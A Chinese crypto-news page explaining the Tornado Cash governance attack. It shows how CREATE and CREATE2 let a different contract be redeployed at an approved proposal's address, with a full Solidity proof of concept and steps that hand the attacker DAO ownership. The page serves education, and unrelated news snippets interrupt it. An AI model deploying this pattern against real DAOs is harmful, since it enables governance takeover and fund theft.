大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。
攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。
攻擊過程可以查看 SharkTeam 的 Tornado.Cash提案攻擊原理分析。
這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?
EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。
當使用 new Token() 使用的是 CREATE 操作碼 , 創建的合約地址計算函數為:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。
當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是 CREATE2 操作碼 , 創建的合約地址計算函數為:
1inch:分配給解析器激勵計劃的1000萬枚INCH已啟動發放:1月26日消息,DEX聚合器1inch Network表示,此前分配給解析器激勵計劃的1000萬枚INCH Token已啟動發放,旨在激勵更多1INCH利益相關者將其UnicornPower委托給解析器,同時補償解析器為滿足用戶的Fusion訂單而支付的Gas費用。
據悉,每個解析器收到的Token數量將取決于其網絡份額,預計每周將分發25萬枚1INCHToken。此前消息,去年12月,1inch宣布推出1inch Resolver激勵計劃,旨在為補償解析器為滿足用戶的Fusion訂單而支付的Gas費用。該計劃于2022年12月24日啟動,總計將發放1000萬枚1INCH Token。[2023/1/26 11:30:44]
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。
那么如何才能在同一地址如何部署不用的合約?
攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:
Beosin解析Reaper Farm遭攻擊事件:_withdraw中owner地址可控且未作任何訪問控制:8月2日消息,據 Beosin EagleEye 安全輿情監控數據顯示,Reaper Farm 項目遭到黑客攻擊,Beosin 安全團隊發現由于_withdraw 中 owner 地址可控且未作任何訪問控制,導致調用 withdraw 或 redeem 函數可提取任意用戶資產。攻擊者(0x5636 開頭)利用攻擊合約(0x8162 開頭)通過漏洞合約(0xcda5 開頭)提取用戶資金,累計獲利 62 ETH 和 160 萬 DAI,約價值 170 萬美元,目前攻擊者(0x2c17 開頭)已通過跨鏈將所有獲利資金轉入 Tornado.Cash。[2022/8/2 2:54:18]
代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和 Proposal 合約中均有自毀實現(selfdestruct)。
在提案通過后,攻擊者把 Deployer 和 Proposal 合約銷毀,然后重新用相同的slat創建 Deployer , Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的 Deployer 合約地址, 但此時 Deployer 合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。
Cobo區塊鏈安全團隊公開0xDAO潛在盜幣漏洞發現過程及技術細節解析:4月2日消息,0xDAO v2原計劃上線前的幾個小時,Cobo區塊鏈安全團隊啟動對該項目的DaaS投前例行安全評估工作,隨后在github開源的項目代碼中發現了一個嚴重的安全漏洞。經評估,如果 0xDAO v2此時繼續上線,該漏洞預計會造成數億美金的資產損失。Cobo區塊鏈安全團隊立即啟動應急預案,快速通過多個渠道聯系到0xDAO項目方,提交該漏洞的完整攻擊流程,緊急叫停了項目上線,隨后協助0xDAO項目方對該漏洞進行了修復。
日前,0xDAO官方發布推文向Cobo區塊鏈安全團隊表示了感謝,并且表示會按照嚴重漏洞級別給予Cobo區塊鏈安全團隊漏洞賞金獎勵。[2022/4/2 14:00:31]
此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO { struct Proposal { address target; bool approved; bool executed; } address public owner = msg.sender; Proposal[] public proposals; function approve(address target) external { require(msg.sender == owner, "not authorized"); proposals.push(Proposal({target: target, approved: true, executed: false})); } function execute(uint256 proposalId) external payable { Proposal storage proposal = proposals[proposalId]; require(proposal.approved, "not approved"); require(!proposal.executed, "executed"); proposal.executed = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("executeProposal()") ); require(ok, "delegatecall failed"); }}contract Proposal { event Log(string message); function executeProposal() external { emit Log("Excuted code approved by DAO"); } function emergencyStop() external { selfdestruct(payable(address(0))); }}contract Attack { event Log(string message); address public owner; function executeProposal() external { emit Log("Excuted code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; }}contract DeployerDeployer { event Log(address addr); function deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); }}contract Deployer { event Log(address addr); function deployProposal() external { address addr = address(new Proposal()); emit Log(addr); } function deployAttack() external { address addr = address(new Attack()); emit Log(addr); } function kill() external { selfdestruct(payable(address(0))); }}大家可以使用該代碼自己在 Remix 中演練一下。
動態 | 基于共治鏈的共治根域名解析架構發布:據光明網消息,在日前由國家互聯網信息辦公室指導、中國互聯網絡信息中心(CNNIC)主辦的中國互聯網基礎資源大會上,中國互聯網絡信息中心主任曾宇發布了基于共治鏈的共治根域名解析架構。中國互聯網絡信息中心(CNNIC)作為我國國家頂級域名注冊管理機構,負責國家網絡基礎資源的運行管理和服務,從2016年開始,開展區塊鏈技術在域名領域應用的研究,驗證了運用區塊鏈技術進行域名數據管理的可行性。在此基礎上,聯合多家單位設計了基于共治鏈的共治根新型域名解析系統架構。[2019/7/3]
首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用 Deployer.deployProposal() 部署 Proposal 。
拿到 Proposal 提案合約地址后, 向 DAO 發起提案。
分別調用 Deployer.kill 和 Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal
再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署 Attack , Attack 將和之前的 Proposal 一致。
前美聯儲理事Kevin Warsh:從美國經濟政策角度解析比特幣價格波動: 前美聯儲理事、斯坦福大學胡佛研究所杰出訪問學者Kevin Warsh今日撰文,從政府經濟政策角度解讀了比特幣價格波動的原因。對于2017年BTC價格的狂飆,Warsh認為:1.特朗普上臺后推出的減稅等寬松政策持續刺激美國經濟增長,繼而帶來的通貨膨脹預期促使美國加息進度超預期,比特幣成為規避法幣貶值的避風港;2.特朗普政府貿易保護政策致使美元在2017年貶值12%,投資者尋求比特幣規避貶值;3.據去年10月、11月調查,美國民眾對政府的信任度下降14個百分點達到33%,而美元正是建立在公眾對政府信任的基礎上。而對于今年以來比特幣價格的大幅波動,是因為投資者正在調整對政府政策的預期,新任美聯儲主席也在重新考慮如何更好地實施貨幣政策,同時也在考慮推出自己的加密貨幣。[2018/3/8]
執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。
區塊律動BlockBeats
曼昆區塊鏈法律
Foresight News
GWEI Research
吳說區塊鏈
西柚yoga
ETH中文
金色早8點
金色財經 子木
ABCDE
0xAyA
Opside 是一個去中心化的ZK-RaaS (ZK-Rollup as a Service)平臺,也是業內領先的ZKP(零知識證明)挖礦網絡.
1900/1/1 0:00:00作者:Tokenterminal 編譯:深潮 TechFlow本文將重點關注加密貨幣交易所(DEX)市場領域,并根據 Token Terminal 上的指定儀表盤進行分析.
1900/1/1 0:00:00作者:Zen,PANews2021年是加密貨幣行業欣欣向榮的一年,在傳統投資機構入局、NFT與元宇宙大熱等大背景下.
1900/1/1 0:00:00來源:北京市人民政府官網京政辦發〔2023〕15號各區人民政府,市政府各委、辦、局,各市屬機構:經市政府同意,現將《北京市促進通用人工智能創新發展的若干措施》印發給你們,請結合實際認真貫徹落實.
1900/1/1 0:00:00目錄 一、項目簡介 二、項目愿景 三、特色和優勢 四、發展歷史 五、團隊背景 六、融資信息 七、發展成果 八、經濟模型 九、風險與機會 隨著 DeFi 項目的興起.
1900/1/1 0:00:00在今年的黑山 EDCON 開幕式上,Vitalik 一如既往發表了主題演講,為聽眾闡述自己對于區塊鏈行業以及以太坊發展的思考.
1900/1/1 0:00:00